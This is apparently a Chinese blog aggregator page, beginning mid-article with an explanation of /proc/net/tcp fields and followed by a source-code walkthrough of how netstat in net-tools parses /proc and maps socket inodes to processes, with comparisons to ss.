8: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25590 1 ffff912c69c20000 100 0 0 10 0
9: 9C02A8C0:C7AE 9102A8C0:22B8 01 00000000:00000000 00:00000000 00000000  1000        0 307410 1 ffff912c374887c0 20 0 0 10 -1

/proc/14960/net/tcp信息如下:

sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
0: 00000000:1538 00000000:0000 0A 00000000:00000000 00:00000000 00000000    26        0 26488 1 ffff912c69c21740 100 0 0 10 0
1: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28721 1 ffff912c69c23640 100 0 0 10 0
2: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27739 1 ffff912c69c21f00 100 0 0 10 0
3: 0100007F:18EB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   988        0 25611 1 ffff912c69c207c0 100 0 0 10 0
4: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27737 1 ffff912c69c226c0 100 0 0 10 0
5: 017AA8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 29031 1 ffff912c69c23e00 100 0 0 10 0
6: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25754 1 ffff912c69c20f80 100 0 0 10 0
7: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25590 1 ffff912c69c20000 100 0 0 10 0
8: 9C02A8C0:C7AE 9102A8C0:22B8 01 00000000:00000000 00:00000000 00000000  1000        0 307410 1 ffff912c374887c0 20 0 0 10 -1

我们每一列的含义都是固定的,我们以最终一列9C02A8C0:C7AE 9102A8C0:22B8 01 00000000:00000000 00:00000000 00000000 1000 0 307410 1 ffff912c374887c0 20 0 0 10 -1为例进行说明。

1.local_address,本地通讯端口和IP,本例是9C02A8C0:C7AE9C02A8C0,是本地IP。9C02A8C0是十六进制,转换为十进制是2617419968,将其转换为IP地址则是156.2.168.192,倒装一下得到192.168.2.156C7AE转化为十进制是51118。所以当进行网络通信时,得到本地IP是192.168.2.156,端口是51118

2.rem_address,远程服务器通信端口和IP,本例是9102A8C0:22B89102A8C0是远程IP。分析方法和local_address相同,得到远程IP是192.168.2.145,端口是8888

3.st,socket的状态,本例是01st的不同的值表示不同的含义。

  • 01: ESTABLISHED,
  • 02: SYN_SENT
  • 03: SYN_RECV
  • 04: FIN_WAIT1
  • 05: FIN_WAIT2
  • 06: TIME_WAIT
  • 07: CLOSE
  • 08: CLOSE_WAIT
  • 09: LAST_ACK
  • 0A: LISTEN
  • 0B: CLOSING

所以在本例中01则说明是ESTABLISHED状态。

4.tx_queue, 表示发送队列中的数据长度,本例是00000000

5.rx_queue, 如果状态是ESTABLISHED,表示接受队列中数据长度;如果是LISTEN,表示已完成连接队列的长度;

6.tr,定时器类型。为0,表示没有启动计时器;为1,表示重传定时器;为2,表示连接定时器;为3,表示TIME_WAIT定时器;为4,表示持续定时器;

7.tm->when,超时时间。

8.retrnsmt,超时重传次数

9.uid,用户id

10.timeout,持续定时器或保洁定时器周期性发送出去但未被确认的TCP段数目,在收到ACK之后清零

11.inode,socket连接对应的inode

12.1,没有显示header,表示的是socket的引用数目

13.ffff912c374887c0,没有显示header,表示sock结构对应的地址

14.20,没有显示header,表示RTO,单位是clock_t

15.0,用来计算延时确认的估值

16.0,快速确认数和是否启用标志位的或元算结果

17.10,当前拥塞窗口大小

18.-1,如果慢启动阈值大于等于0x7fffffff显示-1,否则表示慢启动阈值

proc_net_tcp_decode这篇文章对每个字段也进行了详细地说明。

通过查看某个具体的pidfd信息,检查是否存在以socket:开头的文件描述符,如果存在则说明存在网络通信。

3.jpg

在得到了socket所对应的inode之后,就可以在/proc/net/tcp中查询对应的socket的信息,比如远程服务器的IP和端口信息。这样通过socketinode就可以关联进程信息和它的网络信息。

总结

论读源代码的重要性

以上

netstat源代码调试&原理分析

$
0
0

说明

估计平时大部分人都是通过netstat来查看网络状态,但是事实是netstat已经逐渐被其他的命令替代,很多新的Linux发行版本中很多都不支持了netstat。以ubuntu 18.04为例来进行说明:

~ netstat 
zsh: command not found: netstat

按照difference between netstat and ss in linux?这篇文章的说法:

NOTE This program is obsolete. Replacement for netstat is ss.
Replacement for netstat -r is ip route. Replacement for netstat -i is
ip -s link. Replacement for netstat -g is ip maddr.

中文含义就是:netstat已经过时了,netstat的部分命令已经被ip这个命令取代了,当然还有更为强大的ssss命令用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。netstat的原理显示网络的原理仅仅只是解析/proc/net/tcp,所以如果服务器的socket连接数量变得非常大,那么通过netstat执行速度是非常慢。而ss采用的是通过tcp_diag的方式来获取网络信息,tcp_diag通过netlink的方式从内核拿到网络信息,这也是ss更高效更全面的原因。

下图就展示了ssnetstat在监控上面的区别。

ss.png

ss是获取的socket的信息,而netstat是通过解析/proc/net/下面的文件来获取信息包括Sockets,TCP/UDPIPEthernet信息。

netstatss的效率的对比,找同一台机器执行:

time ss
........
real    0m0.016s
user    0m0.001s
sys        0m0.001s
--------------------------------
time netstat
real    0m0.198s
user    0m0.009s
sys        0m0.011s

ss明显比netstat更加高效.

netstat简介

netstat是在net-tools工具包下面的一个工具集,net-tools提供了一份net-tools的源码,我们通过net-tools来看看netstat的实现原理。

netstat源代码调试

下载net-tools之后,导入到Clion中,创建CMakeLists.txt文件,内容如下:

cmake_minimum_required(VERSION 3.13)
project(test C)

set(BUILD_DIR .)

#add_executable()
add_custom_target(netstat command -c ${BUILD_DIR})

修改根目录下的Makefile中的59行的编译配置为:

CFLAGS ?= -O0 -g3

netstat.png

按照如上图设置自己的编译选项

以上就是搭建netstat的源代码调试过程。

tcp show

在netstat不需要任何参数的情况,程序首先会运行到2317行的tcp_info()

#if HAVE_AFINET
    if (!flag_arg || flag_tcp) {
        i = tcp_info();
        if (i)
        return (i);
    }

    if (!flag_arg || flag_sctp) {
        i = sctp_info();
        if (i)
        return (i);
    }
.........

跟踪进入到tcp_info():

static int tcp_info(void)
{
    INFO_GUTS6(_PATH_PROCNET_TCP, _PATH_PROCNET_TCP6, "AF INET (tcp)",
           tcp_do_one, "tcp", "tcp6");
}

参数的情况如下:

_PATH_PROCNET_TCP,在lib/pathnames.h中定义,是#define _PATH_PROCNET_TCP "/proc/net/tcp"

_PATH_PROCNET_TCP6, 在lib/pathnames.h中定义, 是#define _PATH_PROCNET_TCP6 "/proc/net/tcp6"

tcp_do_one,函数指针,位于1100行,部分代码如下:

static void tcp_do_one(int lnr, const char *line, const char *prot)
{
unsigned long rxq, txq, time_len, retr, inode;
int num, local_port, rem_port, d, state, uid, timer_run, timeout;
char rem_addr[128], local_addr[128], timers[64];
const struct aftype *ap;
struct sockaddr_storage localsas, remsas;
struct sockaddr_in *localaddr = (struct sockaddr_in *)&localsas;
struct sockaddr_in *remaddr = (struct sockaddr_in *)&remsas;
......

tcp_do_one()就是用来解析/proc/net/tcp/proc/net/tcp6每一行的含义的,关于/proc/net/tcp的每一行的含义可以参考之前写过的osquery源码解读之分析process_open_socket中的扩展章节。

INFO_GUTS6

#define INFO_GUTS6(file,file6,name,proc,prot4,prot6)    \
 char buffer[8192];                    \
 int rc = 0;                        \
 int lnr = 0;                        \
 if (!flag_arg || flag_inet) {                \
    INFO_GUTS1(file,name,proc,prot4)            \
 }                            \
 if (!flag_arg || flag_inet6) {                \
    INFO_GUTS2(file6,proc,prot6)            \
 }                            \
 INFO_GUTS3

INFO_GUTS6采用了#define的方式进行定义,最终根据是flag_inet(IPv4)或者flag_inet6(IPv6)的选项分别调用不同的函数,我们以INFO_GUTS1(file,name,proc,prot4)进一步分析。

INFO_GUTS1

#define INFO_GUTS1(file,name,proc,prot)            \
  procinfo = proc_fopen((file));            \
  if (procinfo == NULL) {                \
    if (errno != ENOENT && errno != EACCES) {        \
      perror((file));                    \
      return -1;                    \
    }                            \
    if (!flag_noprot && (flag_arg || flag_ver))        \
      ESYSNOT("netstat", (name));            \
    if (!flag_noprot && flag_arg)            \
      rc = 1;                        \
  } else {                        \
    do {                        \
      if (fgets(buffer, sizeof(buffer), procinfo))    \
        (proc)(lnr++, buffer,prot);            \
    } while (!feof(procinfo));                \
    fclose(procinfo);                    \
  }

rocinfo = proc_fopen((file)) 获取/proc/net/tcp的文件句柄

fgets(buffer, sizeof(buffer), procinfo) 解析文件内容并将每一行的内容存储在buffer

(proc)(lnr++, buffer,prot),利用(proc)函数解析buffer(proc)就是前面说明的tcp_do_one()函数

tcp_do_one

" 14: 020110AC:B498 CF0DE1B9:4362 06 00000000:00000000 03:000001B2 00000000 0 0 0 3 0000000000000000这一行为例来说明tcp_do_one()函数的执行过程。

tcp_do_one_1.png

由于分析是Ipv4,所以会跳过#if HAVE_AFINET6这段代码。之后执行:

num = sscanf(line,
    "%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %*s\n",
         &d, local_addr, &local_port, rem_addr, &rem_port, &state,
         &txq, &rxq, &timer_run, &time_len, &retr, &uid, &timeout, &inode);
if (num < 11) {
    fprintf(stderr, _("warning, got bogus tcp line.\n"));
    return;
}

解析数据,并将每一列的数据分别填充到对应的字段上面。分析一下其中的每个字段的定义:

char rem_addr[128], local_addr[128], timers[64];
struct sockaddr_storage localsas, remsas;
struct sockaddr_in *localaddr = (struct sockaddr_in *)&localsas;
struct sockaddr_in *remaddr = (struct sockaddr_in *)&remsas;

在Linux中sockaddr_insockaddr_storage的定义如下:

struct sockaddr {
   unsigned short    sa_family;    // address family, AF_xxx
   char              sa_data[14];  // 14 bytes of protocol address
};


struct  sockaddr_in {
    short  int  sin_family;                      /* Address family */
    unsigned  short  int  sin_port;       /* Port number */
    struct  in_addr  sin_addr;              /* Internet address */
    unsigned  char  sin_zero[8];         /* Same size as struct sockaddr */
};
/* Internet address. */
struct in_addr {
  uint32_t       s_addr;     /* address in network byte order */
};

struct sockaddr_storage {
    sa_family_t  ss_family;     // address family

    // all this is padding, implementation specific, ignore it:
    char      __ss_pad1[_SS_PAD1SIZE];
    int64_t   __ss_align;
    char      __ss_pad2[_SS_PAD2SIZE];
};

之后代码继续执行:

sscanf(local_addr, "%X", &localaddr->sin_addr.s_addr);
sscanf(rem_addr, "%X", &remaddr->sin_addr.s_addr);
localsas.ss_family = AF_INET;
remsas.ss_family = AF_INET;

local_addr使用sscanf(,"%X")得到对应的十六进制,保存到&localaddr->sin_addr.s_addr(即in_addr结构体中的s_addr)中,同理&remaddr->sin_addr.s_addr。运行结果如下所示:

saddr.png

addr_do_one

addr_do_one(local_addr, sizeof(local_addr), 22, ap, &localsas, local_port, "tcp");
addr_do_one(rem_addr, sizeof(rem_addr), 22, ap, &remsas, rem_port, "tcp");

程序继续执行,最终会执行到addr_do_one()函数,用于解析本地IP地址和端口,以及远程IP地址和端口。

static void addr_do_one(char *buf, size_t buf_len, size_t short_len, const struct aftype *ap,
            const struct sockaddr_storage *addr,
            int port, const char *proto
)
{
    const char *sport, *saddr;
    size_t port_len, addr_len;

    saddr = ap->sprint(addr, flag_not & FLAG_NUM_HOST);
    sport = get_sname(htons(port), proto, flag_not & FLAG_NUM_PORT);
    addr_len = strlen(saddr);
    port_len = strlen(sport);
    if (!flag_wide && (addr_len + port_len > short_len)) {
        /* Assume port name is short */
        port_len = netmin(port_len, short_len - 4);
        addr_len = short_len - port_len;
        strncpy(buf, saddr, addr_len);
        buf[addr_len] = '\0';
        strcat(buf, ":");
        strncat(buf, sport, port_len);
    } else
          snprintf(buf, buf_len, "%s:%s", saddr, sport);
}

1.saddr = ap->sprint(addr, flag_not & FLAG_NUM_HOST); 这个表示是否需要将addr转换为域名的形式。由于addr值是127.0.0.1,转换之后得到的就是localhost,其中FLAG_NUM_HOST的就等价于--numeric-hosts的选项。

2.sport = get_sname(htons(port), proto, flag_not & FLAG_NUM_PORT);,port无法无法转换,其中的FLAG_NUM_PORT就等价于--numeric-ports这个选项。

3.!flag_wide && (addr_len + port_len > short_len 这个代码的含义是判断是否需要对IP和PORT进行截断。其中flag_wide的等同于-W, --wide don't truncate IP addresses。而short_len长度是22.

4.snprintf(buf, buf_len, "%s:%s", saddr, sport);,将IP:PORT赋值给buf.

output

最终程序执行

printf("%-4s  %6ld %6ld %-*s %-*s %-11s",
           prot, rxq, txq, (int)netmax(23,strlen(local_addr)), local_addr, (int)netmax(23,strlen(rem_addr)), rem_addr, _(tcp_state[state]));

按照制定的格式解析,输出结果

finish_this_one

最终程序会执行finish_this_one(uid,inode,timers);.

static void finish_this_one(int uid, unsigned long inode, const char *timers)
{
    struct passwd *pw;

    if (flag_exp > 1) {
    if (!(flag_not & FLAG_NUM_USER) && ((pw = getpwuid(uid)) != NULL))
        printf(" %-10s ", pw->pw_name);
    else
        printf(" %-10d ", uid);
    printf("%-10lu",inode);
    }
    if (flag_prg)
    printf(" %-" PROGNAME_WIDTHs "s",prg_cache_get(inode));
    if (flag_selinux)
    printf(" %-" SELINUX_WIDTHs "s",prg_cache_get_con(inode));

    if (flag_opt)
    printf(" %s", timers);
    putchar('\n');
}

1.flag_exp 等同于-e的参数。-e, --extend display other/more information.举例如下:

netstat -e 
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode
tcp        0      0 localhost:6379          172.16.1.200:46702    ESTABLISHED redis      437788048

netstat
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost:6379          172.16.1.200:46702    ESTABLISHED

发现使用-e参数会多显示UserInode号码。而在本例中还可以如果用户名不存在,则显示uid
getpwuid

2.flag_prg等同于-p, --programs display PID/Program name for sockets.举例如下:

netstat -pe
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 localhost:6379          172.16.1.200:34062      ESTABLISHED redis      437672000  6017/redis-server *

netstat -e
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode
tcp        0      0 localhost:6379          172.16.1.200:46702    ESTABLISHED redis      437788048

可以看到是通过prg_cache_get(inode)inode来找到对应的PID和进程信息;

3.flag_selinux等同于-Z, --context display SELinux security context for sockets

prg_cache_get

对于上面的通过inode找到对应进程的方法非常的好奇,于是去追踪prg_cache_get()函数的实现。

#define PRG_HASH_SIZE 211

#define PRG_HASHIT(x) ((x) % PRG_HASH_SIZE)

static struct prg_node {
    struct prg_node *next;
    unsigned long inode;
    char name[PROGNAME_WIDTH];
    char scon[SELINUX_WIDTH];
} *prg_hash[PRG_HASH_SIZE];

static const char *prg_cache_get(unsigned long inode)
{
    unsigned hi = PRG_HASHIT(inode);
    struct prg_node *pn;

    for (pn = prg_hash[hi]; pn; pn = pn->next)
    if (pn->inode == inode)
        return (pn->name);
    return ("-");
}

prg_hash中存储了所有的inode编号与program的对应关系,所以当给定一个inode编号时就能够找到对应的程序名称。那么prg_hash又是如何初始化的呢?

prg_cache_load

我们使用debug模式,加入-p的运行参数:

netstat-p.png

程序会运行到2289行的prg_cache_load(); 进入到prg_cache_load()函数中.

由于整个函数的代码较长,拆分来分析.

一、获取fd

#define PATH_PROC      "/proc"
#define PATH_FD_SUFF    "fd"
#define PATH_FD_SUFFl       strlen(PATH_FD_SUFF)
#define PATH_PROC_X_FD      PATH_PROC "/%s/" PATH_FD_SUFF
#define PATH_CMDLINE    "cmdline"
#define PATH_CMDLINEl       strlen(PATH_CMDLINE)
 
if (!(dirproc=opendir(PATH_PROC))) goto fail;
    while (errno = 0, direproc = readdir(dirproc)) {
    for (cs = direproc->d_name; *cs; cs++)
        if (!isdigit(*cs))
        break;
    if (*cs)
        continue;
    procfdlen = snprintf(line,sizeof(line),PATH_PROC_X_FD,direproc->d_name);
    if (procfdlen <= 0 || procfdlen >= sizeof(line) - 5)
        continue;
    errno = 0;
    dirfd = opendir(line);
    if (! dirfd) {
        if (errno == EACCES)
        eacces = 1;
        continue;
    }
    line[procfdlen] = '/';
    cmdlp = NULL;

1.dirproc=opendir(PATH_PROC);errno = 0, direproc = readdir(dirproc) 遍历/proc拿到所有的pid

2.procfdlen = snprintf(line,sizeof(line),PATH_PROC_X_FD,direproc→d_name); 遍历所有的/proc/pid拿到所有进程的fd

3.dirfd = opendir(line); 得到/proc/pid/fd的文件句柄

二、获取inode

while ((direfd = readdir(dirfd))) {
        /* Skip . and .. */
        if (!isdigit(direfd->d_name[0]))
            continue;
    if (procfdlen + 1 + strlen(direfd->d_name) + 1 > sizeof(line))
       continue;
    memcpy(line + procfdlen - PATH_FD_SUFFl, PATH_FD_SUFF "/",
        PATH_FD_SUFFl + 1);
    safe_strncpy(line + procfdlen + 1, direfd->d_name,
                    sizeof(line) - procfdlen - 1);
    lnamelen = readlink(line, lname, sizeof(lname) - 1);
    if (lnamelen == -1)
        continue;
        lname[lnamelen] = '\0';  /*make it a null-terminated string*/
 
        if (extract_type_1_socket_inode(lname, &inode) < 0)
            if (extract_type_2_socket_inode(lname, &inode) < 0)
            continue;

1.memcpy(line + procfdlen - PATH_FD_SUFFl, PATH_FD_SUFF "/",PATH_FD_SUFFl + 1);safe_strncpy(line + procfdlen + 1, direfd->d_name, sizeof(line) - procfdlen - 1); 得到遍历之后的fd信息,比如/proc/pid/fd

2.lnamelen = readlink(line, lname, sizeof(lname) - 1); 得到fd所指向的link,因为通常情况下fd一般都是链接,要么是socket链接要么是pipe链接.如下所示:

$ ls -al /proc/1289/fd
total 0
dr-x------ 2 username username  0 May 25 15:45 .
dr-xr-xr-x 9 username username  0 May 25 09:11 ..
lr-x------ 1 username username 64 May 25 16:23 0 -> 'pipe:[365366]'
l-wx------ 1 username username 64 May 25 16:23 1 -> 'pipe:[365367]'
l-wx------ 1 username username 64 May 25 16:23 2 -> 'pipe:[365368]'
lr-x------ 1 username username 64 May 25 16:23 3 -> /proc/uptime

3.通过extract_type_1_socket_inode获取到link中对应的inode编号.

#define PRG_SOCKET_PFX    "socket:["
#define PRG_SOCKET_PFXl (strlen(PRG_SOCKET_PFX))
static int extract_type_1_socket_inode(const char lname[], unsigned long * inode_p) {
 
/* If lname is of the form "socket:[12345]", extract the "12345"
   as *inode_p.  Otherwise, return -1 as *inode_p.
   */
// 判断长度是否小于 strlen(socket:[)+3
if (strlen(lname) < PRG_SOCKET_PFXl+3) return(-1);
 
//函数说明:memcmp()用来比较s1 和s2 所指的内存区间前n 个字符。
// 判断lname是否以 socket:[ 开头
if (memcmp(lname, PRG_SOCKET_PFX, PRG_SOCKET_PFXl)) return(-1);
if (lname[strlen(lname)-1] != ']') return(-1);  {
    char inode_str[strlen(lname + 1)];  /* e.g. "12345" */
    const int inode_str_len = strlen(lname) - PRG_SOCKET_PFXl - 1;
    char *serr;
 
    // 获取到inode的编号
    strncpy(inode_str, lname+PRG_SOCKET_PFXl, inode_str_len);
    inode_str[inode_str_len] = '\0';
    *inode_p = strtoul(inode_str, &serr, 0);
    if (!serr || *serr || *inode_p == ~0)
        return(-1);
}

4.获取程序对应的cmdline

if (!cmdlp) {
    if (procfdlen - PATH_FD_SUFFl + PATH_CMDLINEl >=sizeof(line) - 5)
        continue;
    safe_strncpy(line + procfdlen - PATH_FD_SUFFl, PATH_CMDLINE,sizeof(line) - procfdlen + PATH_FD_SUFFl);
fd = open(line, O_RDONLY);
if (fd < 0)
    continue;
cmdllen = read(fd, cmdlbuf, sizeof(cmdlbuf) - 1);
if (close(fd))
    continue;
if (cmdllen == -1)
    continue;
if (cmdllen < sizeof(cmdlbuf) - 1)
    cmdlbuf[cmdllen]='\0';
if (cmdlbuf[0] == '/' && (cmdlp = strrchr(cmdlbuf, '/')))
    cmdlp++;
else
    cmdlp = cmdlbuf;
}

由于cmdline是可以直接读取的,所以并不需要像读取fd那样借助与readlink()函数,直接通过read(fd, cmdlbuf, sizeof(cmdlbuf) - 1)即可读取文件内容.

5.snprintf(finbuf, sizeof(finbuf), "%s/%s", direproc->d_name, cmdlp); 拼接pidcmdlp,最终得到的就是类似与6017/redis-server *这样的效果 

6.最终程序调用prg_cache_add(inode, finbuf, "-");将解析得到的inodefinbuf加入到缓存中.

prg_cache_add

#define PRG_HASH_SIZE 211
#define PRG_HASHIT(x) ((x) % PRG_HASH_SIZE)
static struct prg_node {
    struct prg_node *next;
    unsigned long inode;
    char name[PROGNAME_WIDTH];
    char scon[SELINUX_WIDTH];
} *prg_hash[ ];
 
static void prg_cache_add(unsigned long inode, char *name, const char *scon)
{
    unsigned hi = PRG_HASHIT(inode);
    struct prg_node **pnp,*pn;
 
    prg_cache_loaded = 2;
    for (pnp = prg_hash + hi; (pn = *pnp); pnp = &pn->next) {
    if (pn->inode == inode) {
        /* Some warning should be appropriate here
           as we got multiple processes for one i-node */
        return;
    }
    }
    if (!(*pnp = malloc(sizeof(**pnp))))
    return;
    pn = *pnp;
    pn->next = NULL;
    pn->inode = inode;
    safe_strncpy(pn->name, name, sizeof(pn->name));
 
    {
    int len = (strlen(scon) - sizeof(pn->scon)) + 1;
    if (len > 0)
            safe_strncpy(pn->scon, &scon[len + 1], sizeof(pn->scon));
    else
            safe_strncpy(pn->scon, scon, sizeof(pn->scon));
    }
 
}

1.unsigned hi = PRG_HASHIT(inode); 使用inode整除211得到作为hash

2.for (pnp = prg_hash + hi; (pn = *pnp); pnp = &pn->next) 由于prg_hash是一个链表结构,所以通过for循环找到链表的结尾;

3.pn = *pnp;pn->next = NULL;pn->inode = inode;safe_strncpy(pn->name, name, sizeof(pn→name)); 为新的inode赋值并将其加入到链表的末尾;

所以prg_node是一个全局变量,是一个链表结果,保存了inode编号与pid/cmdline之间的对应关系;

prg_cache_get

static const char *prg_cache_get(unsigned long inode)
{
    unsigned hi = PRG_HASHIT(inode);
    struct prg_node *pn;
 
    for (pn = prg_hash[hi]; pn; pn = pn->next)
    if (pn->inode == inode)
        return (pn->name);
    return ("-");
}

分析完毕prg_cache_add()之后,看prg_cache_get()就很简单了.

1.unsigned hi = PRG_HASHIT(inode);通过inode号拿到hash

2.for (pn = prg_hash[hi]; pn; pn = pn->next) 遍历prg_hash链表中的每一个节点,如果遍历的inode与目标的inode相符就返回对应的信息.

总结

通过对netstat的一个简单的分析,可以发现其实netstat就是通过遍历/proc目录下的目录或者是文件来获取对应的信息.如果在一个网络进程频繁关闭打开关闭,那么使用netstat显然是相当耗时的.

Viewing all 46 articles
Browse latest View live